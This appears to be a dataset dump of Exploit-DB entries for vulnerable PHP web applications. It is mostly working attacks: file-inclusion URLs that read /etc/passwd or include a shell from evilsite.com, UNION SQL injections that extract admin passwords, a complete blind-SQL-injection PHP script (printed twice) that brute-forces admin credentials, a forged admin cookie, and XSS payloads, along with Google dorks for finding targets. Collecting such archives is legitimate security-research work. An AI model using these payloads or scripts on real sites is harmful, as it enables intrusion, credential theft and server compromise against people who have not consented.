deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6628
Description: ArabCMS - 'rss.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-29
Author: JIKO

Exploit:
####################################################################################
######              Local File Inclusion Vulnerabilities                       #####
###### http://www.the-ghost.com/extras/am2/am%202.0%20beta%201.zip             #####
###### author : JIKO                                                           #####
###### foor read a php file >     ?rss=[name of file iwthout php]              #####
###### for execute exploit does not write extention of file                    #####
######                                                                         #####
######                                                                         #####
###### exploit : /Script/rss.php?rss=../[name of file wthout php]              #####
######                                                                         #####
###### example : /Script/rss.php?rss==/home/user/shell                         #####
######                                                                         #####
###### other files:        rss=../../../../etc/passwd%00                       #####
######           WwW.No-exploit.Com  cha7ta.eu                                 #####
######  H-T Team , v4 Team  , Tryag , no-Back all my friend                    #####
####################################################################################
------==        troops of Mohamed comming inchalah     =-----------------
Ana muslim , Ana 3arabi , Ana Magribi , bladi maroc

# milw0rm.com [2008-09-29]
Exploit-DB #15574
Description: Arabian YouTube Script - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-11-19
Author: R3d-D3V!L

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-{In The Name Of Allah The Mercifull}-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 
  
[~] Tybe: blind SQL Injection Vulnerabilities  
[~] Vendor: www.4smart.net 
[+] Software: arabian youtube script
[+] author: ((R3d-D3v!L))  
[~]  
[+] TEAM: Xp10_hACKEr
[~]  
[?] contact: X[at]hotmail.co.jp  
[-]  
[?] Date: 15.nov.2010  
[?] T!ME: 03:04 am CMT  
[?] Home: WwW.XP10.COM              
[^]© Xp10_hAcKEr  
[?]  
    
======================================================================================  
# SQL Injection #     index.php v=
======================================================================================  
[*] Err0r C0N50L3:  
http://127.0.0.1/clip/index.php?v=   {EV!L EXPLO!T}  
    
[*] prove of concept  = {EV!L EXPLO!T}  =
  
 www.Xp10.CoM/clip/index.php?v=11+and+1=0+union+select+1,concat%28uname,passwd%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+members--   
 
 
[~]-----------------------------{((MAGOUSH-87))}------------------------------------------------
#  
#  
[~] Greetz tO: [dolly &MERNA &hetlar jeddaH &po!S!ON Sc0rp!0N &JASM!N &MARWA & mAG0ush-1987] #  
#  
[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ #  
#  
[~] spechial thanks : ((HITLER JEDDAH & rootshell& DR.DAShER& abo shahd &abo mohammed)) ALL XP10 MEMbers #  
#  
[?]spechial SupP0RT : MY M!ND # © Offensive Security #  
#  
[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((R3d D3v!L<---&--->JUPA<---aNd--->Devil ro0t)) #  
#  
[~]spechial FR!ND: XP10.COM #  
#  
[~] !'M 4R48!4N 3XPL0!73R. #  
#  
[~]{[(D!R 4ll 0R D!E)]}; #  
#  
[~]---------------------------------------------------------------------------------------------
Exploit-DB #27567
Description: ArabPortal 2.0.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-04
Author: o.y.6

Exploit:
source: https://www.securityfocus.com/bid/17375/info

ArabPortal is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

Successful exploitation of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/forum.php?mineID=[SQL Injection]

http://www.example.com/forum.php?action=view&id=1&cat_id=3&adminJump=D3vil-0x1[HTML - XSS ]
http://www.example.com/forum.php?action=view&id=1&cat_id=3&forum_middle=D3vil-0x1[HTML - XSS ]
http://www.example.com/members.php?action=changepass&form=D3vil-0x1[HTML - XSS ]
http://www.example.com/members.php?action=edit&form=D3vil-0x1[HTML - XSS ]
http://www.example.com/pm.php?action=reply&form=D3vil-0x1[HTML - XSS ]
http://www.example.com/pm.php?action=sendmsg&form=D3vil-0x1[HTML - XSS ]
http://www.example.com/mail.php?action=sendpage&form=D3vil-0x1[HTML - XSS ]
http://www.example.com/mail.php?action=sendtome&form=D3vil-0x1[HTML - XSS ]
http://www.example.com/mail.php?action=sendtousers&userid=1&form=D3vil-0x1[HTML - XSS ]
Exploit-DB #37591
Description: AraDown - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-08-08
Author: G-B

Exploit:
source: https://www.securityfocus.com/bid/54891/info

AraDown is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

<?php
echo "
                 _____   _    _   _____   _____  _______
                /  ___| | |  | | /  _  \ /  ___/|__   __|
                | |  _  | |__| | | | | | | |___    | |
                | | | | |  __  | | | | | \___  \   | |
                | |_| | | |  | | | |_| |  ___| |   | |
                \_____/ |_|  |_| \_____/ /_____/   |_|
             ____    _       _____   _____   _____  ___    ___
            |  _ \  | |     /  _  \ /  _  \ |  _  \ \  \  /  /
            | |_) | | |     | | | | | | | | | | |  \ \  \/  /
            |  _ (  | |     | | | | | | | | | | |  |  \    /
            | |_) | | |___  | |_| | | |_| | | |_|  /   |  |
            |____/  |_____| \_____/ \_____/ |_____/    |__|
 
[*]-----------------------------------------------------------------------[*]
    # Exploit Title  : ArDown (All Version) <- Remote Blind SQL Injection
    # Google Dork    : 'powered by AraDown'
    # Date           : 08/07/2012
    # Exploit Author : G-B
    # Email          : g22b@hotmail.com
    # Software Link  : http://aradown.info/
    # Version        : All Version
[*]-----------------------------------------------------------------------[*]
 
[*] Target -> ";
 
$target = stdin();
$ar = array('1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
 
echo "[*] Username : ";
 
for($i=1;$i<=30;$i++){
    foreach($ar as $char){
        $b = send('http://server',"3' and (select substr(username,$i,1) from aradown_admin)='$char' # ");
        if(eregi('<span class="on_img" align="center"></span>',$b) && $char == 'z'){
            $i = 50;
            break;
        }
        if(eregi('<span class="on_img" align="center"></span>',$b)) continue;
        echo $char;
        break;
    }
}
 
echo "\n[*] Password : ";
 
for($i=1;$i<=32;$i++){
    foreach($ar as $char){
        $b = send('http://server',"3' and (select substr(password,$i,1) from aradown_admin)='$char' # ");
        if(eregi('<span class="on_img" align="center"></span>',$b)) continue;
        echo $char;
        break;
    }
}
 
function send($target,$query){
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,"$target/ajax_like.php");
    curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_POSTFIELDS,array('id'=>$query));
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    $r = curl_exec($ch);
    curl_close($ch);
    return $r;
}
function stdin(){
    $fp = fopen("php://stdin","r");
    $line = trim(fgets($fp));
    fclose($fp);
    return $line;
}
?>
Exploit-DB #20344
Description: AraDown - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-08-08
Author: G-B

Exploit:
<?php
echo "
                 _____   _    _   _____   _____  _______
                /  ___| | |  | | /  _  \ /  ___/|__   __|
                | |  _  | |__| | | | | | | |___    | |
                | | | | |  __  | | | | | \___  \   | |
                | |_| | | |  | | | |_| |  ___| |   | |
                \_____/ |_|  |_| \_____/ /_____/   |_|
             ____    _       _____   _____   _____  ___    ___
            |  _ \  | |     /  _  \ /  _  \ |  _  \ \  \  /  /
            | |_) | | |     | | | | | | | | | | |  \ \  \/  /
            |  _ (  | |     | | | | | | | | | | |  |  \    /
            | |_) | | |___  | |_| | | |_| | | |_|  /   |  |
            |____/  |_____| \_____/ \_____/ |_____/    |__|

[*]-----------------------------------------------------------------------[*]
    # Exploit Title  : ArDown (All Version) <- Remote Blind SQL Injection
    # Google Dork    : 'powered by AraDown'
    # Date           : 08/07/2012
    # Exploit Author : G-B
    # Email          : g22b@hotmail.com
    # Software Link  : http://aradown.info/
    # Version        : All Version
[*]-----------------------------------------------------------------------[*]

[*] Target -> ";

$target = stdin();
$ar = array('1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');

echo "[*] Username : ";

for($i=1;$i<=30;$i++){
    foreach($ar as $char){
        $b = send('http://server',"3' and (select substr(username,$i,1) from aradown_admin)='$char' # ");
        if(eregi('<span class="on_img" align="center"></span>',$b) && $char == 'z'){
            $i = 50;
            break;
        }
        if(eregi('<span class="on_img" align="center"></span>',$b)) continue;
        echo $char;
        break;
    }
}

echo "\n[*] Password : ";

for($i=1;$i<=32;$i++){
    foreach($ar as $char){
        $b = send('http://server',"3' and (select substr(password,$i,1) from aradown_admin)='$char' # ");
        if(eregi('<span class="on_img" align="center"></span>',$b)) continue;
        echo $char;
        break;
    }
}

function send($target,$query){
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,"$target/ajax_like.php");
    curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_POSTFIELDS,array('id'=>$query));
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    $r = curl_exec($ch);
    curl_close($ch);
    return $r;
}
function stdin(){
    $fp = fopen("php://stdin","r");
    $line = trim(fgets($fp));
    fclose($fp);
    return $line;
}
?>
Exploit-DB #18131
Description: ARASTAR - SQL Injection
Type: webapps
Platform: php
Date: 2011-11-19
Author: TH3_N3RD

Exploit:
+#######+ 
|[o] ID |
+#######+
[+] Title              :  ARASTAR SQL Injection Vulnerability
[+] Affected Version   :  ALL VERSIONS
[+] Software Link      :  http://ara-star.com/art.php?ID=172
[+] Tested on          :  Windows XP SP2 <CHROME + FIREFOX>
[+] Date               :  18/11/2011
[+] Dork               :  inurl:'.co.il/Cat.php?ID=' intext:"POWERED BY ARASTAR"
[+] Category           :  Content Management
[+] Severity           :  High
[+] Author             :  TH3_N3RD
[+] Follow on FB       :  https://www.facebook.com/TH3xN3RD

+############+ 
|[o] EXPLOIT |
+############+
[+] http://[website]/cat.php?ID=[SQLi]
[+] ADMINISTRATION PATH : http://[website]/admin-aps
+#########+ 
|[o] PoC  |
+#########+
[+] It Depends On The Column Count Of The Script Version /.-

+------------+ 
|[o] Greet'z |
+------------+
[+] To : #MY MIND# [&] VERGEIRAS [&] ALL THE MOROCCAN HAX0R'z
@`d0n3\-
Exploit-DB #3079
Description: Aratix 0.2.2b11 - '/inc/init.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-04
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ Aratix <= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.aratix.de/
+ Affected Software .: Aratix <= 0.2.2 beta 11
+ Download ..........: http://download.xitara.net/aratix/aratix-0.2.2beta11.tar.gz
+ Description .......: "Aratix is the next generation of CMS and Groupware"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Aratix inc/init.inc.php does not initialize the $current_path variable before using it to
+ include files, assuming register_globals = on, we can initialize the variable in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ inc/init.inc.php, line(s) 16-41:
+ -> 16: include $current_path . 'inc/session.inc.php';
+ -> 17: include $current_path . 'inc/pages.inc.php';
+ -> 18: include $current_path . 'inc/modules.inc.php';
+ -> 33: include $current_path . 'inc/functions.inc.php'; // Zusätzliche Funktionen einbinden
+ -> 41: include $current_path . 'extern/smarty/Smarty.class.php';
+
+ Proof Of Concept:
+ http://[target]/[path]/inc/init.inc.php?current_path=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-04]
Exploit-DB #24231
Description: ArbitroWeb PHP Proxy 0.5/0.6 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-06-22
Author: Josh Gilmour

Exploit:
source: https://www.securityfocus.com/bid/10592/info

It is reported that ArbitroWeb is susceptible to a cross-site scripting vulnerability in its rawURL URI parameter.

The URI parameter passed to 'index.php' called 'rawURL' contains the desired target for the proxy to connect to. This parameter is improperly sanitized, and may be used in a cross-site scripting attack.

An attacker may craft a URI that contains malicious HTML or script code. If a victim user follows this link, the HTML contained in the affected URI parameter will be executed in the context of the vulnerable site.

The attacker could use this vulnerability to steal cookie-based authentication credentials, or perform other types of attacks. 

http://www.example.com/?rawURL=&lt;script&gt;javascript:alert();&lt;/script&gt;
Exploit-DB #9482
Description: Arcade Trade Script 1.0b - (Authentication Bypass) Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-08-24
Author: Mr.tro0oqy

Exploit:
======================================================================
[Â»] Script : Arcade Trade Script v.1.0 Insecure Cookie Handling Vuln

[Â»] Language : php  

[Â»] Script site : http://www.arcadetradescript.com

[Â»] Founder: Mr.tro0oqy <- from Yemen

[Â»] Gr44tz to: [H]-> borken heart :(

[Â»] E-mail : t.4@windowslive.com
======================================================================
exploit:
--------

javascript:document.cookie="adminLoggedIn=true;path=/";

--------
demo:
--------

http://www.arcadetradescript.com/demo/admin/
--------

# milw0rm.com [2009-08-24]
Exploit-DB #4133
Description: ArcadeBuilder Game Portal Manager 1.7 - SQL Injection
Type: webapps
Platform: php
Date: 2007-07-01
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+               Game Portal Manager v1.7 SQL Injection Vulnerability             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.arcadebuilder.net/
DORK: intext:"Powered by Arcade Builder"

DESCRIPTION: The browser cookie is sql injectable, allowing admin access without knowing the password.

EXPLOIT: Using your prefered cookie editor make a cookie with the following;

Name: usercookie
Content: admin'/*
Host: www.somesite.com
Path: /


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+               Game Portal Manager v1.7 SQL Injection Vulnerability             +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-01]
Exploit-DB #30525
Description: Arcadem 2.01 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-24
Author: sm0k3

Exploit:
source: https://www.securityfocus.com/bid/25432/info

Arcadem is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Arcadem 2.01 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?loadpage=[evilscript]
Exploit-DB #4326
Description: Arcadem 2.01 - SQL Injection / Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-27
Author: SmOk3

Exploit:
Arcadem Remote File Inclusion Flaw / SQL Injection

Software: Arcadem 2.01
Vendor link: http://agaresmedia.com
Attack: Remote File Inclusion / SQL Injection
Original advisory:
http://14house.blogspot.com/2007/08/arcadem-rfi-sql-injection-flaws.html

Discovered by: David Sopas Ferreira a.k.a SmOk3 < smok3f00 at gmail.com >

Google dork:"Powered by AMCMS3"

Remote File Inclusion
---------------------
It is possible for a remote attacker to include a file from local or
remote resources and/or execute arbitrary script code with the
privileges of the webserver.

Proof of Concept:

index.php?loadpage=../../../../file
index.php?loadpage=[evilscript]

Solution:

Edit the source code to ensure that input is properly validated. Where
is possible, it is recommended to make a list of accepted filenames
and restrict the input to that list.

For PHP, the option allow_url_fopen would normally allow a programmer
to open, include or otherwise use a remote file using a URL rather
than a local file path. It is recommended to disable this option from
php.ini.


SQL Injection
-------------
An attacker may execute arbitrary SQL statements on the vulnerable
system. This may compromise the integrity of your database and/or
expose sensitive information.

Proof of Concept:

index.php?blockpage=%2E%2Findex%2Ephp
%3Fblockpage%3D1%26cat%3D&cat=[SQL Injection]
index.php?blockpage=%2E%2Findex%2Ephp
%3Fblockpage%3D1%26cat%3D&cat='


Solution:

Your script should filter metacharacters from user input.


Vendor was contacted by email and didn't not replied.

# milw0rm.com [2007-08-27]
Exploit-DB #4764
Description: Arcadem LE 2.04 - 'loadadminpage' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-12-21
Author: KnocKout

Exploit:
Arcadem LE <= 2.04 Remote File Include Vulnerability

 

Author : KnocKout
Greetz to : CoRSaNTuRK , BORDO , CWneSTer , By-Ajan , User , 44ahmetov , CoBRa_21 , Khirash , CWSearcher , idam
Cyber-Warrior / CW Exploiter TIM

--------------------------------------

Script : Arcadem LE
Version : 2.04
Download : http://www.agaresmedia.com/downloads/Arcadem_LE_2.04.zip

=======================================================

Vulnerability in frontpage_right.php ;


  <?PHP include($loadadminpage); ?>


Exploit : http://localsite/path/admin/frontpage_right.php?loadadminpage=[File]

=========================================================

# milw0rm.com [2007-12-21]
Exploit-DB #6624
Description: Arcadem Pro - 'articlecat' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-29
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Arcadem Pro (articlecat) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM |  WwW.TrYaG.CC
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : https://secure.agaresmedia.com/index.php?page=arcadempro.php
|
| DorK   : Copyright Â© 2007 Agares Media. Powered by AMCMS3.
|___________________________________________________|


Exploit:
________



www.[target].com/Script/index.php?loadpage=./includes/articleblock.php&articlecat=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10/**/FROM/**/amcms_users--


USer version


www.[target].com/Script/index.php?loadpage=./includes/articleblock.php&articlecat=-1+union+select+1,version(),user(),4,5,6,7,8,9,10--





Admin LogIn :

www.[target].com/admin/





____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone
|______________________________________________________________________


                             Im IRAQi

# milw0rm.com [2008-09-29]
Exploit-DB #34229
Description: ArcademSX 2.904 - 'cat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-29
Author: Th3 RDX

Exploit:
source: https://www.securityfocus.com/bid/41252/info

ArcademSX is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ArcademSX version 2.904 is vulnerable.

http://www.example.com/arcademsx/index.php?cat=[XSS]
Exploit-DB #8296
Description: Arcadwy Arcade Script - 'Username' Static Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-03-27
Author: Anarchy Angel

Exploit:
#################################\
# Information          
# Script                 : Arcadwy Arcade Script CMS             
# Buy/Download   : http://arcadwy.com/                           
# Vulnerability      : Static XSS                                          
# Discovered by    : Anarchy Angel                                    
# Contact              : anarchy[dot]ang31 [@] gmail           
# Website              : http://hha.zapto.org                           
# Greets                : Xteaphn, lun0s, BSDgurl, progenic.  
\#################################/

[!] EXPLOIT
    1) Go to http://site.com/register.php
    2) In username field input XSS payload
    3) Fill in the rest of the fields and submit.
    4) Activate account!

Every time the accounts username is shown on the site the XSS will run.
Usernames show in comments, game scores, and so on.

[!] FIX: Sanitize all input from the registers page form.

# milw0rm.com [2009-03-27]